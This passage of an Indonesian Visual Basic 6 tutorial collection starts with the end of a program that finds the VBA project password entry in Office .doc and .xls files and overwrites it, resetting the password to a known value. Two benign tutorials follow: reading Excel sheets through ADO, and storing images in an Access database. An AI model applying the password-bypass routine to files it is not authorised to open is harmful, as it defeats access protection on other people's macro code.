Dim isiDok As String * 1000
inFile = FileLen(hFile)
'// Lakukan pembackupan dokumen sebelum melakukan perubahan
Dim FileAsli As String
FileAsli = Dir(hFile & ".bak", vbNormal)
If FileAsli = "" Then
FileCopy hFile, hFile & ".bak"
End If

'// Baca Tulis Ke File
Open hFile For Binary Access Read Write As #1
'// Lakukan Pengulangan Menurut Ukuran File tsb
For nLoop = 1 To inFile Step 1000
'// Ambil Data Sebanyak 1000 Karakter
Get #1, nLoop, isiDok
DoEvents
Dim Pos1 As Long, pos2 As Long, pos3 As Long

'// Periksa Header Key Password
Pos1 = Instr(1, isiDok, Header, vbBinaryCompare)
If Pos1 Then
pos2 = nLoop + Pos1 + Len(Header) - 2
'// Ambil data pada pointer setelah Header Key
Get #1, pos2, isiDok
'// Periksa Isi data yg didapat, apakah terdapat End Key?
Pos1 = Instr(1, isiDok, Chr(&HD) & Chr(&HA), vbBinaryCompare)
If Pos1 Then
'// Hitung panjang password yang terdapat pada file
pos3 = Len(Replace(Mid(isiDok, 1, Pos1 - 1), Chr(34), ""))
If pos3 Then
Select Case pos3
Case 72
'// Rubah dengan password baru
Put #1, pos2 + 1, vbbego72
MsgBox "Password: vbbego", 64, "www.vbbego.com"
Case 74
'// Rubah dengan password baru
Put #1, pos2 + 1, vbbego74
MsgBox "Password: vbbego", 64, "www.vbbego.com"
Case 76
'// Rubah dengan password baru
Put #1, pos2 + 1, vbbego76
MsgBox "Password: vbbego", 64, "www.vbbego.com"
Case Else
'// Rubah dengan password baru
'Put #1, pos2 + 1, vbbegoxx
MsgBox "Password: komunitasvbbego", 64, "www.vbbego.com"
End Select
State = True
Exit For
End If '// Pos3
End If '// Pos1->2
End If '// Pos1->1
isiDok = ""
Next nLoop
Close #1
If State = False Then MsgBox "Password Tidak Ditemukan", _
16, "www.vbbego.com"
End If
End Sub

Setelah tu kamu tambahi Module1 kemudian tuliskan code berikut

Option Explicit
Private Declare Function GetOpenFileName Lib "comdlg32.dll" Alias _
"GetOpenFileNameA" (pOpenfilename As OPENFILENAME) As Long

Private Type OPENFILENAME
lStructSize As Long
hwndOwner As Long
hInstance As Long
lpstrFilter As String
lpstrCustomFilter As String
nMaxCustFilter As Long
nFilterIndex As Long
lpstrFile As String
nMaxFile As Long
lpstrFileTitle As String
nMaxFileTitle As Long
lpstrInitialDir As String
lpstrTitle As String
flags As Long
nFileOffset As Integer
nFileExtension As Integer
lpstrDefExt As String
lCustData As Long
lpfnHook As Long
lpTemplateName As String
End Type
Function GetFile(Hwnd As Long) As String
Dim OFName As OPENFILENAME
OFName.lStructSize = Len(OFName)
OFName.hwndOwner = Hwnd
OFName.hInstance = App.hInstance
OFName.lpstrFilter = "Ms Ofice97/XP/2003(*.doc;*.xls)" _
+ Chr$(0) + "*.doc;*.xls" + Chr$(0) _
+ "Kabeh File (*.*)" + Chr$(0) + "*.*" + Chr$(0)
OFName.lpstrFile = Space$(254)
OFName.nMaxFile = 255
OFName.lpstrFileTitle = Space$(254)
OFName.nMaxFileTitle = 255
OFName.lpstrInitialDir = "C:\"
OFName.lpstrTitle = "Open File - vbBego Team 2000"
OFName.flags = 0
If GetOpenFileName(OFName) Then
GetFile = Left(OFName.lpstrFile, _
InStr(1, OFName.lpstrFile, Chr(0)) - 1)
Else
GetFile = ""
End If
End Function

Setelah selesaikan tinggal di jalankan deh dengan menekan tombol F5. Klik Aja command1 kememudian cari dokumen yang ada VBA terpassword (jangan lupa ditutup dulu ya dokumennya). Selamat Mencoba

Koneksi VB dengan Excell

Mungkin anda pernah membuat suatu data dari excell dan anda merasa ga mau meninggal excell untuk pindah ke access, sedangkan anda hanya bisa menggunakan database access untuk diterapkan di Pemrogram pakai Visual basic 6.0. sehingga akan mengconverter data anda dari excell ke access. Gimana kalau nanti mau ke excell lagi wah di convert lagi deh tu data. hehehe enak juga ya tu data di pindah-pindah.
Tapi anda bisa menggunakan database dari data excell data untuk bisa dipanggil melalui Visual Basic sehingga anda tidak usah cari konverter.
Oke langsung aja akan ku tulisan source codenya

Ini Source codenya

Dim cn As ADODB.Connection
Dim rs As ADODB.Recordset

Option Explicit

Private Sub Command1_Click()

Set rs = New ADODB.Recordset
'--- mengambil data dari member
rs.Open "SELECT * FROM [Members$] ", cn, adOpenDynamic, adLockOptimistic

Set DataGrid1.DataSource = rs


End Sub



Private Sub Command2_Click()

Set rs = New ADODB.Recordset

'--- mengambil data dari excel dari tab salary
rs.Open "SELECT * FROM [Salary$A1:B2] ", cn, adOpenDynamic, adLockOptimistic

Set DataGrid1.DataSource = rs

End Sub



Private Sub Form_Load()

On Error GoTo ErrHandler
Set cn = New ADODB.Connection

' -- provider koneksi
cn.Provider = "Microsoft.Jet.OLEDB.4.0"

'--- membuat koneksi file excell
'---dari Excel 97/2000/2002 atau Excel 8.0
'--- dari Excel 95 atau Excel 5.0
cn.ConnectionString = _
"Data Source= " & App.Path & "/Book1.xls;" & _
"Extended Properties=Excel 8.0;"
cn.CursorLocation = adUseClient
cn.Open

Exit Sub
ErrHandler:
MsgBox "Tidak ada koneksi yang terjadi"
End Sub

Private Sub Command3_Click()
MsgBox "Contoh Koneksi Database Excell", vbInformation, ""
End
End Sub

Silahkan aja kamu coba dan dipelajari

Semoga dapat membantu.

Menyimpan gambar kedalam database

Untuk melakukan persiapan awal, kita buat suatu database. (disini menggunakan Ms.Access sebagai bahan contoh):

Persiapan Awal:
Nama file : dbaImage.mdb
Nama Table : Pegawai
Nama field Type Size
-------------------------
NRP Text 7
Photo OleObject

Setelah selesai melakukan persiapan awal kita buat Project Baru dan tambahakan Referency ADODB ke project kita. Dengan cara memilih menu Project » References » Microsoft ActiveX Data Object 2.1 Library (atau ADODB dengan versi yang lebih tinggi).

Selanjutnya kita buat syntax untuk meload Database tersebut
Pada Global Declaration kita tambahkan sebuah variable:

Option Explicit
Dim DB As New ADODB.Connection

'*// Pada form_load tambahkan syntax untuk meload databasenya

Private Sub Form_Load()
DB.Open "Provider=Microsoft.Jet.OLEDB.4.0;User ID=Admin;" & _
"Data Source=C:\dbaImage.mdb"
End Sub

'*// Selanjutnya kita buat fungsi untuk mengkonversi gambar kedalam _
bentuk data.

Function ConvImage(NamaFile As String, Byref ErrRet As Long) As Byte()
On Error GoTo Salah
Dim UkuranFile As Long
Dim imgData() As Byte
'*// mendapatkan besar file yang akan di load dengan fungsi FileLen
UkuranFile = FileLen(NamaFile)

'*// Periksa Besar File yang di load
If UkuranFile > 0 Then
'*// Lakukan ReDim variable array sesuai dengan ukuran file yang _
diload
ReDim imgData(UkuranFile) As Byte

'*// Nah disini kita memanipulasi gambar untuk dimasukan ke _
database. Sebelumnya kita load gambar tsb dari file, _
kemudian masukan Byte demi Byte ke variable array dengan _
metode GET

Open NamaFile For Binary As #1
Get #1, , imgData
Close #1
'*// Setelah berhasil mendapatkan data tsb, kita lakukan _
pemindahan data ke fungsi ConvImage
ConvImage = imgData

'*// Kemudian beri tanda dgn nilai 0, bahwa tidak ada Error
ErrRet = 0
Else
'*// Beri tanda, bahwa ada Error
ErrRet = 1
End If
Exit Function
Salah:
'*// Beri tanda, bahwa ada Error
ErrRet = Err.Number
End Function


'*// Selanjutnya Buat Fungsi untuk menampilkan gambar

Function TampilImage(imgData() As Byte, Byref ErrRet As Long) _
As Picture
On Error GoTo Salah
If UBound(imgData) Then '*// Cek besar data > 0
Dim hFile As String
'*// Periksa apakah file img.tmp ada pada directory C:
hFile = Dir("C:\img.tmp", vbNormal)
'*// Jika ada, kita hapus terlebih dahulu dengan fungsi Kill
If hFile <> "" Then Kill "C:\img.tmp"

'*// Selanjutnya kita buat file penampung gambar dengan data _
yang diterima dari variable imgData
Open "C:\img.tmp" For Binary As #1
Put #1, , imgData
Close #1
'*// Setelah file dibuat, kita coba untuk memindahkannya kedalam _
fungsi
Set TampilImage = LoadPicture("C:\img.tmp")
'*// Beri tanda bahwa file berhasil di load
ErrRet = 0
Else
'*// Beri tanda, bahwa ada Error
ErrRet = 1
End If
Exit Function
Salah:
'*// Beri tanda, bahwa ada Error
ErrRet = Err.Number
End Function


'*// Setelah dua fungsi diatas dibuat, kita coba dengan menyimpan _
sebuah data kedalam database.

Private Sub Command1_Click()
Dim ErrRet As Long, imgData() As Byte
Dim Rc As New ADODB.Recordset

'*// Melakukan pengisian variable imgData dengan menggunakan fungsi _
ConvImage dengan parameter yang dikirim. _
Jangan lupa rubah nama file gambar yang akan di load
imgData = ConvImage("C:\vbwarik\lunatic.bmp", ErrRet)

'*// Dikarenakan disini kita menggunakan Type OleObject maka metode _
penyimpanan data tidak menggunakan Query melainkan langsung _
memanggil nama table nya.

Rc.Open "pegawai", DB, 3, 3
If ErrRet = 0 Then
'*// Buat data baru dengan menggunakan perintah AddNew
Rc.AddNew
'*// Isi pada field
Rc.Fields("NRP") = "001"
Rc.Fields("Photo").AppendChunk imgData()
'*// Simpan Data
Rc.Update
End If
Rc.Close
End Sub

'*// Setelah melakukan proses penyimpanan data, kita coba untuk _
menampilkannya.

Private Sub Command3_Click()
Dim ErrRet As Long, imgData As StdPicture
Dim Rc As New ADODB.Recordset

'*// Kita panggil data yang kita simpan tadi dengan menggunakan Query _
dengan NRP = 001
Rc.Open "Select * from Pegawai Where NRP='001'", DB, 3, 3

If Not Rc.EOF Then
Set imgData = TampilImage(Rc("Photo").GetChunk( _
Rc("Photo").ActualSize), ErrRet)
If ErrRet = 0 Then
'*// Kita load gambar dari file ke Object Image1
Set Image1.Picture = imgData
End If
End If
End Sub

Oke segitu aja scriptnya silakan kalian coba...